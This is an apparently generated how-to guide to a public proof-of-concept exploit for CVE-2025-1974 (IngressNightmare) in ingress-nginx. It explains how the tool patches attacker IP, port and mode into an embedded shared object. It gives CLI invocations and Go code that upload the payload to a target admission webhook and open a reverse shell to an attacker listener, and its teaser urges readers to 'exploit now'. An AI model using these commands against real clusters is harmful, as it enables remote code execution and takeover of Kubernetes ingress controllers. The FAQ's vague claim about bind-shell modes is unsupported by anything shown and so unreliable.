# How to Generate a Reverse Shell Payload with IngressNightmare

> Learn how to generate a reverse shell payload with IngressNightmare. This guide details runtime byte level substitutions for vulnerable Ingress-nginx admission webhooks. Exploit CVE-2025-1974 now.

- Repository: [Esonhugh Skyworship/ingressnightmare-cve-2025-1974-exps](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps)
- Tags: how-to-guide
- Published: 2026-03-01

---

**IngressNightmare generates reverse shell payloads by embedding a malicious shared object at compile time and performing runtime byte‑level substitutions for attacker‑controlled IP addresses, ports, and execution modes before streaming the payload to the vulnerable Ingress‑nginx admission webhook.**

The repository `esonhugh/ingressnightmare-cve-2025-1974-exps` provides a proof‑of‑concept exploit for CVE‑2025‑1974 that automates the creation and delivery of malicious shared objects. Understanding how to generate reverse shell payloads with IngressNightmare requires examining the payload construction pipeline in [`nginx-ingress/payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/payload.go) and the CLI orchestration defined in [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go).

## Payload Architecture and Embedded Resources

IngressNightmare leverages Go’s `embed` package to include the malicious shared object (`danger.so`) directly inside the compiled binary. This approach eliminates external file dependencies during deployment and ensures the exploit remains portable.

### Compile‑Time Embedding

The shared object is embedded at build time and accessed through [`nginx-ingress/payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/payload.go). When the binary executes, the embedded SO file resides in memory as a byte slice, ready for modification. This design choice allows the tool to remain a single static binary while still supporting dynamic payload customization.

### Runtime Byte Substitution Logic

When you request a reverse shell, the function `nginx_ingress.NewReverseShellPayload` performs three deterministic transformations on the embedded SO bytes:

1. **IP Address Injection** – The placeholder `127.000.000.001` (padded to three‑digit octets) is replaced with the attacker‑specified IP address using identical byte length padding.
2. **Port Injection** – The placeholder `13337` is overwritten with the target port, left‑padded with zeros to maintain exactly four digits.
3. **Mode Flag Switching** – The string `MODE_CHECK_FLAG` is swapped for `MODE_REVERSE_SH`, signaling the injected library to initiate a reverse shell connection rather than performing a simple check.

According to the source code in [`nginx-ingress/payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/payload.go) (lines 10‑15), all replacements use a wrapper around `bytes.Replace` that strictly verifies the old and new byte slices share the same length. This constraint preserves the ELF binary structure and prevents corruption of the shared object during modification.

## Generating Payloads via the CLI

IngressNightmare exposes the payload generation logic through a command‑line interface defined in [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go). The tool constructs the appropriate byte sequence and immediately passes it to the upload routine without writing intermediate files to disk.

### Basic Reverse Shell Generation

To generate a reverse shell payload targeting your listener at `10.0.2.15:4444`, use the following invocation:

```bash
ingress-nightmare \
    --mode reverse-shell \
    --reverse-shell-ip 10.0.2.15 \
    --reverse-shell-port 4444 \
    --ingress-webhook-url https://target-webhook:443 \
    --upload-url http://target-ingress:80

```

The `--mode reverse-shell` flag triggers a call to `NewReverseShellPayload`, which returns a `Payload` struct containing the modified SO bytes. The `BadUploader` function in [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go) then streams these bytes to the vulnerable admission webhook endpoint specified by `--ingress-webhook-url`.

### Programmatic Access

You can also import the package directly in your own Go tools to manipulate payloads before delivery:

```go
import "github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/nginx-ingress"

// Build payload for 10.0.2.15:4444
payload := nginx_ingress.NewReverseShellPayload(
    "10.0.2.15",   // attacker IP
    "4444",        // attacker port
)

// Inspect raw bytes before upload
fmt.Printf("Payload size: %d bytes\n", len(payload))

```

## Custom Shared Object Integration

While IngressNightmare ships with a pre‑compiled `danger.so`, advanced operators may supply custom shared objects compiled for specific target architectures or alternative shellcode. Pass the `--so` flag followed by the file path:

```bash
ingress-nightmare \
    --so /path/to/custom.so \
    --mode reverse-shell \
    --reverse-shell-ip 192.168.1.100 \
    --reverse-shell-port 9001

```

As implemented in [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go) (lines 68‑75), providing the `--so` parameter causes `nginx_ingress.Init` to load the external file from disk rather than using the default embedded resource. The same IP, port, and mode substitutions are applied to your custom binary, provided it contains the expected placeholder strings (`127.000.000.001`, `13337`, and `MODE_CHECK_FLAG`).

## Summary

- **IngressNightmare embeds `danger.so` at compile time** using Go’s `embed` directive, creating a self‑contained exploit binary.
- **Payload customization occurs via byte‑level substitution** in [`nginx-ingress/payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/payload.go), replacing hardcoded placeholders for IP (`127.000.000.001`), port (`13337`), and mode (`MODE_CHECK_FLAG`) while preserving exact byte lengths.
- **The `NewReverseShellPayload` function** orchestrates these replacements and returns a `Payload` ready for delivery.
- **Delivery is handled by `BadUploader`** in [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go), which transmits the crafted SO to the Ingress‑nginx admission webhook.
- **Custom shared objects are supported** via the `--so` CLI flag, loaded through `nginx_ingress.Init` in [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go).

## Frequently Asked Questions

### What placeholders must exist in a custom shared object for IngressNightmare to work correctly?

Your custom SO must contain three exact byte sequences: `127.000.000.001` for the IP address placeholder, `13337` for the port placeholder, and `MODE_CHECK_FLAG` for the execution mode flag. IngressNightmare performs literal byte replacements on these strings, requiring them to match the expected lengths exactly (15 bytes, 5 bytes, and 15 bytes respectively).

### How does IngressNightmare ensure the shared object remains valid after modifying IP and port values?

The tool uses a wrapper around `bytes.Replace` that verifies the search and replacement slices are identical in length (as seen in [`nginx-ingress/payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/payload.go) lines 10‑15). This guarantees that the ELF binary structure maintains its original offsets and section headers, preventing corruption during the substitution process.

### Can I use IngressNightmare to generate bind shells instead of reverse shells?

Yes. IngressNightmare supports multiple execution modes through the same substitution mechanism. While `MODE_REVERSE_SH` triggers the reverse shell logic, alternative modes are available by calling different constructor functions or CLI flags that replace `MODE_CHECK_FLAG` with other mode identifiers defined in the payload source.

### Where does the actual network transmission of the payload occur?

The HTTP/HTTPS upload logic resides in [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go) within the `BadUploader` function. After `NewReverseShellPayload` generates the byte slice, `BadUploader` constructs the multipart form data and POSTs the shared object to the vulnerable admission webhook endpoint specified by the `--ingress-webhook-url` parameter.